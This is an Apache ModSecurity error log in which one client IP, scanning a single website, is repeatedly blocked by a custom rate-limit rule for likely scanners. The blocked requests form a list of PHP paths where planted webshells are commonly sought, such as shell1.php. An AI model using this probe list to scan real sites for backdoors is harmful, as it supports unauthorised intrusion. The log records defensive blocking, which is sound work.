[Sat Dec 13 00:04:41.979760 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21342] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lov.php"] [unique_id "aTw9GVObDQlftFDyGaxGbwAAAZE"]
[Sat Dec 13 00:04:42.236794 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:20868] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lov.php"] [unique_id "aTw9Gs8TRgSGOeWqEhcVLwAAAA4"]
[Sat Dec 13 00:04:42.511945 2025] [:error] [pid 27950:tid 27965] [client 4.193.186.94:20949] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yawa.php"] [unique_id "aTw9GoVLRvkrdsSc1F3NLAAAAU0"]
[Sat Dec 13 00:04:42.746031 2025] [:error] [pid 27950:tid 27953] [client 4.193.186.94:21355] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yawa.php"] [unique_id "aTw9GoVLRvkrdsSc1F3NLgAAAUE"]
[Sat Dec 13 00:04:42.985949 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:21044] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yawa.php"] [unique_id "aTw9GpdhcAPU617AKTDEBQAAAJM"]
[Sat Dec 13 00:04:43.201611 2025] [:error] [pid 27950:tid 27968] [client 4.193.186.94:20956] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yawa.php"] [unique_id "aTw9G4VLRvkrdsSc1F3NMAAAAVA"]
[Sat Dec 13 00:04:43.454026 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:21021] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kla.php"] [unique_id "aTw9G4VLRvkrdsSc1F3NMgAAAVc"]
[Sat Dec 13 00:04:43.696430 2025] [:error] [pid 26521:tid 26589] [client 4.193.186.94:21032] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kla.php"] [unique_id "aTw9G5dhcAPU617AKTDEBgAAAIo"]
[Sat Dec 13 00:04:44.068923 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:20898] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kla.php"] [unique_id "aTw9HMb_b0tOEWTL2KnF_QAAANA"]
[Sat Dec 13 00:04:44.256476 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:21051] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kla.php"] [unique_id "aTw9HJdhcAPU617AKTDECAAAAI8"]
[Sat Dec 13 00:04:44.590816 2025] [:error] [pid 55760:tid 55772] [client 4.193.186.94:35935] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hum.php"] [unique_id "aTw9HFObDQlftFDyGaxGcAAAAYo"]
[Sat Dec 13 00:04:44.928534 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:20907] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hum.php"] [unique_id "aTw9HJdhcAPU617AKTDECwAAAI0"]
[Sat Dec 13 00:04:45.185864 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:20934] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hum.php"] [unique_id "aTw9HVObDQlftFDyGaxGcgAAAYM"]
[Sat Dec 13 00:04:45.751474 2025] [:error] [pid 26519:tid 26525] [client 4.193.186.94:20910] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hum.php"] [unique_id "aTw9Hc8TRgSGOeWqEhcVMQAAAAI"]
[Sat Dec 13 00:04:45.957747 2025] [:error] [pid 60649:tid 60665] [client 4.193.186.94:20876] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zuk.php"] [unique_id "aTw9HVOcUGKU3sgfHP8iXwAAAQ0"]
[Sat Dec 13 00:04:46.209656 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:21327] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zuk.php"] [unique_id "aTw9HlObDQlftFDyGaxGdgAAAYY"]
[Sat Dec 13 00:04:46.555605 2025] [:error] [pid 60649:tid 60671] [client 4.193.186.94:21366] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zuk.php"] [unique_id "aTw9HlOcUGKU3sgfHP8iYQAAARM"]
[Sat Dec 13 00:04:46.900647 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:20821] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zuk.php"] [unique_id "aTw9HlObDQlftFDyGaxGdwAAAYA"]
[Sat Dec 13 00:04:47.282453 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:20813] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ed35f.php"] [unique_id "aTw9H88TRgSGOeWqEhcVMwAAAAM"]
[Sat Dec 13 00:04:47.813346 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:20930] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ed35f.php"] [unique_id "aTw9H1ObDQlftFDyGaxGeQAAAZY"]
[Sat Dec 13 00:04:48.075237 2025] [:error] [pid 26520:tid 26568] [client 4.193.186.94:21024] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ed35f.php"] [unique_id "aTw9IEG_frlY5vNXu_AgZAAAAFA"]
[Sat Dec 13 00:04:48.295754 2025] [:error] [pid 26607:tid 26632] [client 4.193.186.94:20977] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ed35f.php"] [unique_id "aTw9IMb_b0tOEWTL2KnF_gAAANc"]
[Sat Dec 13 00:04:48.536352 2025] [:error] [pid 27950:tid 27955] [client 4.193.186.94:20888] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file32.php"] [unique_id "aTw9IIVLRvkrdsSc1F3NNQAAAUM"]
[Sat Dec 13 00:04:48.909623 2025] [:error] [pid 60649:tid 60663] [client 4.193.186.94:20807] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file32.php"] [unique_id "aTw9IFOcUGKU3sgfHP8iZQAAAQs"]
[Sat Dec 13 00:04:49.262681 2025] [:error] [pid 60649:tid 60664] [client 4.193.186.94:20990] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file32.php"] [unique_id "aTw9IVOcUGKU3sgfHP8iZwAAAQw"]
[Sat Dec 13 00:04:49.602112 2025] [:error] [pid 26607:tid 26618] [client 4.193.186.94:20931] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file32.php"] [unique_id "aTw9Icb_b0tOEWTL2KnGAQAAAMk"]
[Sat Dec 13 00:04:49.890047 2025] [:error] [pid 26520:tid 26575] [client 4.193.186.94:21034] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zgh.php"] [unique_id "aTw9IUG_frlY5vNXu_AgZgAAAFc"]
[Sat Dec 13 00:04:50.174566 2025] [:error] [pid 26519:tid 26544] [client 4.193.186.94:20901] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zgh.php"] [unique_id "aTw9Is8TRgSGOeWqEhcVNgAAABU"]
[Sat Dec 13 00:04:50.451112 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:21350] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zgh.php"] [unique_id "aTw9Is8TRgSGOeWqEhcVNwAAAAA"]
[Sat Dec 13 00:04:50.843739 2025] [:error] [pid 26519:tid 26540] [client 4.193.186.94:20818] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zgh.php"] [unique_id "aTw9Is8TRgSGOeWqEhcVOAAAABE"]
[Sat Dec 13 00:04:51.051758 2025] [:error] [pid 26519:tid 26547] [client 4.193.186.94:20953] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aTw9I88TRgSGOeWqEhcVOgAAABg"]
[Sat Dec 13 00:04:51.286809 2025] [:error] [pid 55760:tid 55773] [client 4.193.186.94:20897] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aTw9I1ObDQlftFDyGaxGfgAAAYs"]
[Sat Dec 13 00:04:51.527320 2025] [:error] [pid 26607:tid 26609] [client 4.193.186.94:21039] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aTw9I8b_b0tOEWTL2KnGBAAAAMA"]
[Sat Dec 13 00:04:51.773818 2025] [:error] [pid 26519:tid 26546] [client 4.193.186.94:20944] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aTw9I88TRgSGOeWqEhcVPAAAABc"]
[Sat Dec 13 00:04:52.059569 2025] [:error] [pid 60649:tid 60666] [client 4.193.186.94:20988] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ava.php"] [unique_id "aTw9JFOcUGKU3sgfHP8iagAAAQ4"]
[Sat Dec 13 00:04:52.479335 2025] [:error] [pid 26519:tid 26534] [client 4.193.186.94:21348] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ava.php"] [unique_id "aTw9JM8TRgSGOeWqEhcVPQAAAAs"]
[Sat Dec 13 00:04:52.875627 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:20914] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ava.php"] [unique_id "aTw9JIVLRvkrdsSc1F3NNgAAAUw"]
[Sat Dec 13 00:04:53.516742 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:20865] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ava.php"] [unique_id "aTw9JYVLRvkrdsSc1F3NNwAAAUk"]
[Sat Dec 13 00:04:53.781084 2025] [:error] [pid 60649:tid 60674] [client 4.193.186.94:20894] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell1.php"] [unique_id "aTw9JVOcUGKU3sgfHP8ibQAAARY"]
[Sat Dec 13 00:04:54.152218 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:20885] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell1.php"] [unique_id "aTw9JpdhcAPU617AKTDEEAAAAI8"]
[Sat Dec 13 00:04:54.551437 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:20943] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell1.php"] [unique_id "aTw9JoVLRvkrdsSc1F3NOQAAAU8"]
[Sat Dec 13 00:04:55.038263 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:20873] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell1.php"] [unique_id "aTw9J5dhcAPU617AKTDEEwAAAIk"]
[Sat Dec 13 00:04:55.489289 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:20890] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/thoms.php"] [unique_id "aTw9J5dhcAPU617AKTDEFgAAAJQ"]
[Sat Dec 13 00:04:56.372836 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:20947] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/thoms.php"] [unique_id "aTw9KFObDQlftFDyGaxGgQAAAYU"]
[Sat Dec 13 00:04:56.825814 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:20912] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/thoms.php"] [unique_id "aTw9KFObDQlftFDyGaxGgwAAAZI"]
[Sat Dec 13 00:04:57.129272 2025] [:error] [pid 26521:tid 26583] [client 4.193.186.94:20911] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/thoms.php"] [unique_id "aTw9KZdhcAPU617AKTDEGgAAAIQ"]
[Sat Dec 13 00:04:57.398426 2025] [:error] [pid 60649:tid 60663] [client 4.193.186.94:20962] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file4.php"] [unique_id "aTw9KVOcUGKU3sgfHP8icwAAAQs"]
[Sat Dec 13 00:04:57.707148 2025] [:error] [pid 26520:tid 26555] [client 4.193.186.94:20904] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file4.php"] [unique_id "aTw9KUG_frlY5vNXu_AgagAAAEM"]
[Sat Dec 13 00:04:58.041064 2025] [:error] [pid 60649:tid 60664] [client 4.193.186.94:21036] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file4.php"] [unique_id "aTw9KlOcUGKU3sgfHP8idAAAAQw"]
[Sat Dec 13 00:04:58.276359 2025] [:error] [pid 27950:tid 27953] [client 4.193.186.94:20893] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file4.php"] [unique_id "aTw9KoVLRvkrdsSc1F3NPAAAAUE"]
[Sat Dec 13 00:04:58.643456 2025] [:error] [pid 26521:tid 26589] [client 4.193.186.94:20750] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/has.php"] [unique_id "aTw9KpdhcAPU617AKTDEHQAAAIo"]
[Sat Dec 13 00:04:58.859994 2025] [:error] [pid 27950:tid 27968] [client 4.193.186.94:20773] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/has.php"] [unique_id "aTw9KoVLRvkrdsSc1F3NPQAAAVA"]
[Sat Dec 13 00:04:59.147875 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:20991] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/has.php"] [unique_id "aTw9K5dhcAPU617AKTDEHgAAAJA"]
[Sat Dec 13 00:04:59.493453 2025] [:error] [pid 26607:tid 26613] [client 4.193.186.94:20812] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/has.php"] [unique_id "aTw9K8b_b0tOEWTL2KnGCgAAAMQ"]
[Sat Dec 13 00:04:59.770655 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:20820] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pent.php"] [unique_id "aTw9K5dhcAPU617AKTDEIAAAAJQ"]
[Sat Dec 13 00:04:59.961975 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:20946] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pent.php"] [unique_id "aTw9K5dhcAPU617AKTDEIwAAAJU"]
